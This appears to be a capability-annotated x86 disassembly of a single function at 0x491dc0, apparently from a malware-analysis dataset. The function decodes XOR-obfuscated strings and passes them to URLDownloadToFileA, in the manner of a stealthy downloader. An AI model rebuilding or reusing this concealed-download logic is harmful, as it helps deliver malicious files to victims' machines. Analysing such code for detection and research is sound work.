Function at 0x491dc0
Capabilities:
Download url
Encode data using xor
Receive data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5fd113
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xa8
mov eax, dword [0x686bb0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
sub esp, 0x18
lea edi, [ecx + 1]
mov edx, esp
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x491e20
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.0049ac20
mov ecx, 0x6d40c8
call fcn.0048a690
cmp byte [0x6751e7], 0
mov ecx, 5
mov eax, dword [0x6751e4]
movq xmm0, qword [0x6751dc]
mov dword [ebp - 0x98], eax
mov eax, dword [0x6d3fec]
lea esi, [ecx + 0x1a]
movq qword [ebp - 0xa0], xmm0
je 0x491fc4
xor edx, edx
mov dword [ebp - 0x18], edx
cmp eax, 2
jl 0x491f90
movaps xmm2, xmmword [0x677150]
mov edx, 8
movaps xmm3, xmmword [0x6774e0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm3
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm4, ecx
psrad xmm1, xmm4
movd xmm5, esi
movaps xmm0, xmm1
mov dword [ebp - 0x18], edx
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x677180]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x677160]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6771e0]
movd xmm0, dword [0x6751dc]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.6666666666666666]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0xa0], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm3
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movaps xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x677180]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6771e0]
movd xmm0, dword [ebp - 0x9c]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.6666666666666666]
pxor xmm1, xmm0
movd dword [ebp - 0x9c], xmm1
nop word [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0x18]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x18]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0xa0], cl
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0xc
jl 0x491f90
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x491fe6
sub ecx, edx
lea eax, [ebp - 0xa0]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0049ac20
mov dword [ebp - 4], 0
lea edx, [ebp - 0x30]
cmp dword [ebp - 0x1c], 0x10
cmovae edx, dword [ebp - 0x30]
sub esp, 0x18
mov esi, esp
mov ecx, edx
mov dword [esi], 0
lea edi, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x492030
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.0049ac20
lea eax, [ebp - 0x90]
mov ecx, 0x6d40c8
push eax
call fcn.0048c3e0
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x1c]
cmp edx, 0x10
jb 0x49208b
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x492081
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4927b2
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov eax, dword [0x676ecc]
xor edx, edx
cmp dword [0x6d3fec], 2
movq xmm0, qword [str.zVKMemYOMV__B]
mov dword [ebp - 0x98], eax
mov al, byte [0x676ed0]
movq qword [ebp - 0xa0], xmm0
mov byte [ebp - 0x94], al
mov dword [ebp - 0x18], edx
jl 0x4921e0
movaps xmm2, xmmword [0x677150]
mov eax, 5
movaps xmm4, xmmword [0x6774e0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm5
mov eax, 0x1f
mov dword [ebp - 0x18], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.6666666666666666]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x677180]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x677160]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6771e0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.zVKMemYOMV__B]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0xa0], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x677180]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6771e0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x9c]
pxor xmm1, xmm0
movd dword [ebp - 0x9c], xmm1
nop dword [eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0x18]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x18]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0xa0], cl
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0xd
jl 0x4921e0
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x492236
sub ecx, edx
lea eax, [ebp - 0xa0]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0049ac20
mov byte [ebp - 4], 3
lea esi, [ebp - 0x30]
cmp dword [ebp - 0x1c], 0x10
cmovae esi, dword [ebp - 0x30]
sub esp, 0x18
mov ecx, esp
mov edx, esi
mov dword [ecx], 0
lea edi, [edx + 1]
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x492280
sub edx, edi
push edx
push esi
call fcn.0049ac20
lea eax, [ebp - 0x78]
mov ecx, 0x6d40c8
push eax
call fcn.0048c3e0
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x1c]
cmp edx, 0x10
jb 0x4922d6
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4922cc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4927b2
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov edi, dword [ebp - 0x18]
nop dword [eax]
lea ecx, [ebp - 0x30]
call fcn.004914b0
mov byte [ebp - 4], 6
mov eax, dword [0x676e7c]
movq xmm0, qword [str.jpW__RPQ_]
mov dword [ebp - 0x98], eax
mov ax, word [0x676e80]
movq qword [ebp - 0xa0], xmm0
mov word [ebp - 0x94], ax
test ah, ah
je 0x49246f
xor ecx, ecx
cmp dword [0x6d3fec], 2
jl 0x492442
movaps xmm2, xmmword [0x677150]
mov eax, 5
movaps xmm4, xmmword [0x6774e0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm5
mov eax, 0x1f
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.6666666666666666]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x677180]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x677160]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6771e0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.jpW__RPQ_]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0xa0], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x677180]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6771e0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x9c]
pxor xmm1, xmm0
movd dword [ebp - 0x9c], xmm1
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, cl
movsx eax, al
imul eax, eax, 0x3a
sub dl, al
add dl, 0x36
xor byte [ebp + ecx - 0xa0], dl
inc ecx
cmp ecx, 0xe
jl 0x492442
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xa8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xa4], 0xf
mov byte [ebp - 0xb8], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4924a0
sub ecx, edx
lea eax, [ebp - 0xa0]
push ecx
push eax
lea ecx, [ebp - 0xb8]
call fcn.0049ac20
mov byte [ebp - 4], 7
lea edx, [ebp - 0xb8]
cmp dword [ebp - 0xa4], 0x10
cmovae edx, dword [ebp - 0xb8]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4924e0
sub ecx, esi
mov eax, accept
mov esi, dword [ebp - 0x20]
sub eax, esi
cmp eax, ecx
jb 0x4927e0
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
push ecx
cmovae eax, dword [ebp - 0x30]
push edx
push esi
push eax
push ecx
push edi
lea ecx, [ebp - 0x48]
call fcn.0049df30
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0xa4]
cmp edx, 0x10
jb 0x492552
mov ecx, dword [ebp - 0xb8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x492548
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4927b2
push edx
push ecx
call fcn.005f7cf7
add esp, 8
cmp dword [ebp - 0x34], 0x10
lea edx, [ebp - 0x48]
lea ecx, [ebp - 0x60]
cmovae edx, dword [ebp - 0x48]
call fcn.004913e0
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x60]
push eax
call fcn.004a1080
add esp, 8
test al, al
jne 0x492696
cmp dword [ebp - 0x34], 0x10
lea edx, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x48]
mov byte [0x6d40a8], 1
cmovae ecx, dword [ebp - 0x48]
lea eax, [ebp - 0x90]
cmp dword [ebp - 0x7c], 0x10
push 0
cmovae eax, dword [ebp - 0x90]
push ecx
push eax
push 0
mov dword [ebp - 0x18], 0x676b78
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov edx, dword [ebp - 0x4c]
cmp edx, 0x10
jb 0x4925eb
mov ecx, dword [ebp - 0x60]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4925e1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4927b2
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
cmp edx, 0x10
jb 0x492635
mov ecx, dword [ebp - 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x49262b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4927b2
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
cmp edx, 0x10
jb 0x49267f
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x492675
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4927b2
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
jmp 0x4922e0
mov edx, dword [ebp - 0x4c]
mov byte [0x6d40a8], 0
cmp edx, 0x10
jb 0x4926d1
mov ecx, dword [ebp - 0x60]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4926c7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4927b2
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov edx, dword [ebp - 0x34]
cmp edx, 0x10
jb 0x492705
mov ecx, dword [ebp - 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4926fb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4927b2
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
cmp edx, 0x10
jb 0x492747
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x49273d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4927b2
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov edx, dword [ebp - 0x64]
cmp edx, 0x10
jb 0x492777
mov ecx, dword [ebp - 0x78]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x49276d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4927b2
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0xf
mov byte [ebp - 0x78], 0
cmp edx, 0x10
jb 0x4927c2
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4927b8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4927b8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005f7bd4
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004827b0
int3